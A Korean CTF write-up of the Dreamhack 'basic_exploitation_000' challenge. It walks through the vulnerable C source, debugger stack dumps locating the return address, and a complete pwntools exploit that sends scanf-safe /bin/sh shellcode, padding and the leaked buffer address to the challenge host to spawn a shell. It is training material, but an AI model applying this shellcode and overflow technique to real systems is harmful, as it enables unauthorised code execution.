colaf.svgColaf
login 

Author: colaf Date: 2023.07.10 13:45:47
Category: System hacking
Subject: basic_exploitation
Content

 

1. Operation

#include 
#include 
#include 
#include
void alarm_handler() {
   puts("TIME OUT");
   exit(-1);
}
void initialize() {
   setvbuf(stdin, NULL, _IONBF, 0); 
   setvbuf(stdout, NULL, _IONBF, 0);
   signal(SIGALRM, alarm_handler);
   alarm(30);
}
int main(int argc, char *argv[]) {
   char buf[0x80]; //buf의 size는 0x80 byte이다.
   initialize();
       
   printf("buf = (%p)\n", buf);
   scanf("%141s", buf); // buf에 141개의 문자를 scanf로 저장할 수 있기 때문에 Buffer overflow가 발생하는 조건이 충족되었다.
   return 0;
}

2. Examine

main을 실행하기 전후를 확인해보자 ‘b *0xf7c21517'를 쳐서 break point를 설정하고 ‘c’를 쳐서 실행한다.

────[ DISASM / i386 / set emulate off ]────
  0xf7c21503 <__libc_start_call_main+99>     mov    eax, dword ptr [ebx - 0x28]
  0xf7c21509 <__libc_start_call_main+105>    push   dword ptr [eax]
  0xf7c2150b <__libc_start_call_main+107>    push   dword ptr [esp + 0x14]
  0xf7c2150f <__libc_start_call_main+111>    push   dword ptr [esp + 0x14]
  0xf7c21513 <__libc_start_call_main+115>    mov    eax, dword ptr [esp + 0x14]
► 0xf7c21517 <__libc_start_call_main+119>    call   eax                          

  0xf7c21519 <__libc_start_call_main+121>    add    esp, 0x10
  0xf7c2151c <__libc_start_call_main+124>    sub    esp, 0xc
  0xf7c2151f <__libc_start_call_main+127>    push   eax
  0xf7c21520 <__libc_start_call_main+128>    call   exit                    

  0xf7c21525 <__libc_start_call_main+133>    call   __nptl_deallocate_tsd                    <__nptl_deallocate_tsd>
────[ STACK ]────
00:0000│ esp 0xffffd4c0 ◂— 0x1
01:0004│     0xffffd4c4 —▸ 0xffffd574 —▸ 0xffffd6b7 ◂— '/home/ubuntu/current/basic_exploitation_000/basic_...'
02:0008│     0xffffd4c8 —▸ 0xffffd57c —▸ 0xffffd6fa ◂— 'SHELL=/bin/bash'
03:000c│     0xffffd4cc —▸ 0xffffd4e0 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
04:0010│     0xffffd4d0 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
05:0014│     0xffffd4d4 —▸ 0x80485d9 (main) ◂— push ebp
06:0018│     0xffffd4d8 ◂— 0x1
07:001c│     0xffffd4dc —▸ 0xffffd574 —▸ 0xffffd6b7 ◂— '/home/ubuntu/current/basic_exploitation_000/basic_...'

ni을 눌러서 main call 하면 이렇게 복귀주소가 stack에 쌓인다.

────[ DISASM / i386 / set emulate off ]────
 ► 0x80485d9 <main>       push   ebp                           <_rtld_global>
   0x80485da <main+1>     mov    ebp, esp
   0x80485dc <main+3>     add    esp, -0x80
   0x80485df <main+6>     call   initialize                     <initialize>
 
   0x80485e4 <main+11>    lea    eax, [ebp - 0x80]
   0x80485e7 <main+14>    push   eax
   0x80485e8 <main+15>    push   0x8048699
   0x80485ed <main+20>    call   printf@plt                     <printf@plt>
 
   0x80485f2 <main+25>    add    esp, 8
   0x80485f5 <main+28>    lea    eax, [ebp - 0x80]
   0x80485f8 <main+31>    push   eax
────[ STACK ]────
00:0000│ esp 0xffffd4bc —▸ 0xf7c21519 (__libc_start_call_main+121) ◂— add esp, 0x10
01:0004│     0xffffd4c0 ◂— 0x1
02:0008│     0xffffd4c4 —▸ 0xffffd574 —▸ 0xffffd6b7 ◂— '/home/ubuntu/current/basic_exploitation_000/basic_exploitation_000'
03:000c│     0xffffd4c8 —▸ 0xffffd57c —▸ 0xffffd6fa ◂— 'SHELL=/bin/bash'
04:0010│     0xffffd4cc —▸ 0xffffd4e0 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
05:0014│     0xffffd4d0 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
06:0018│     0xffffd4d4 —▸ 0x80485d9 (main) ◂— push ebp
07:001c│     0xffffd4d8 ◂— 0x1

 

그 다음에는 Base pointer를 Stack에 쌓는다. 이것을 Stack Frame Pointer라고 한다.
그리고 Base pointer와 Stack pointer를 똑같이 맞추고 buf를 저장할 공간을 확보하기 위해 add esp, -0x80을 한다. main+6을 확인해보자

────[ DISASM / i386 / set emulate off ]────
   0x80485d9 <main>       push   ebp
   0x80485da <main+1>     mov    ebp, esp
   0x80485dc <main+3>     add    esp, -0x80
 ► 0x80485df <main+6>     call   initialize                     <initialize>
        arg[0]: 0xf7ffda40 ◂— 0x0
        arg[1]: 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
        arg[2]: 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx
        arg[3]: 0xffffffff
 
   0x80485e4 <main+11>    lea    eax, [ebp - 0x80]
   0x80485e7 <main+14>    push   eax
   0x80485e8 <main+15>    push   0x8048699
   0x80485ed <main+20>    call   printf@plt                     <printf@plt>
 
   0x80485f2 <main+25>    add    esp, 8
   0x80485f5 <main+28>    lea    eax, [ebp - 0x80]
   0x80485f8 <main+31>    push   eax
────[ STACK ]────
00:0000│ esp 0xffffd438 —▸ 0xf7ffda40 ◂— 0x0
01:0004│     0xffffd43c —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
02:0008│     0xffffd440 —▸ 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx
03:000c│     0xffffd444 ◂— 0xffffffff
04:0010│     0xffffd448 —▸ 0x8048034 ◂— push es
05:0014│     0xffffd44c —▸ 0xf7fc66d0 ◂— 0xe
06:0018│     0xffffd450 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
07:001c│     0xffffd454 ◂— 0x20 /* ' ' */

0xFFFFD438 ~: buf[0x80]
0xFFFFD4B8  : Stack Frame Pointer[0x04]
0xFFFFD4BC   : Return address[0x04]
이렇게 된거다.

buf와 stack frame pointer를 shellcode+쓰레기값으로 채워주고 return address 를 0xFFFFD438로 채워주면 되겠다.

3. exploit
shellcode를 사용하면 되는데 dreamhack example에 있는 23byte shellcode를 사용하면 안된다.
scanf는 '\x09, \x0a, \x0b, \x0c, \x0d, \x20'를 입력받지 못하기 때문이다.
scanf를 우회하는 26byte shellcode를 사용해본다.

shellcode(26bytes) + trash(106bytes) + return address(4bytes)를 보내면 되겠다.
basic_exploitation_000.c printf를 통해서 buf주소를 출력해주기 때문에 이 값을 입력받아 작성하견 되겠다.
아래와 같이 작성해서 shell을 획득하면 성공

from pwn import *
# p = process('./basic_exploitation_000')
p = remote('host3.dreamhack.games', 21083)
p.recvuntil('buf = (')
addr = p.recvuntil(')')[:-1]
print("addr: ")
print(addr)
addr = int(addr, 16) 
print("packed: ")
print(p32(addr))
p.sendline(b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'+b'A'*106 + p32(addr))                 
p.interactive()
# \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80

tag: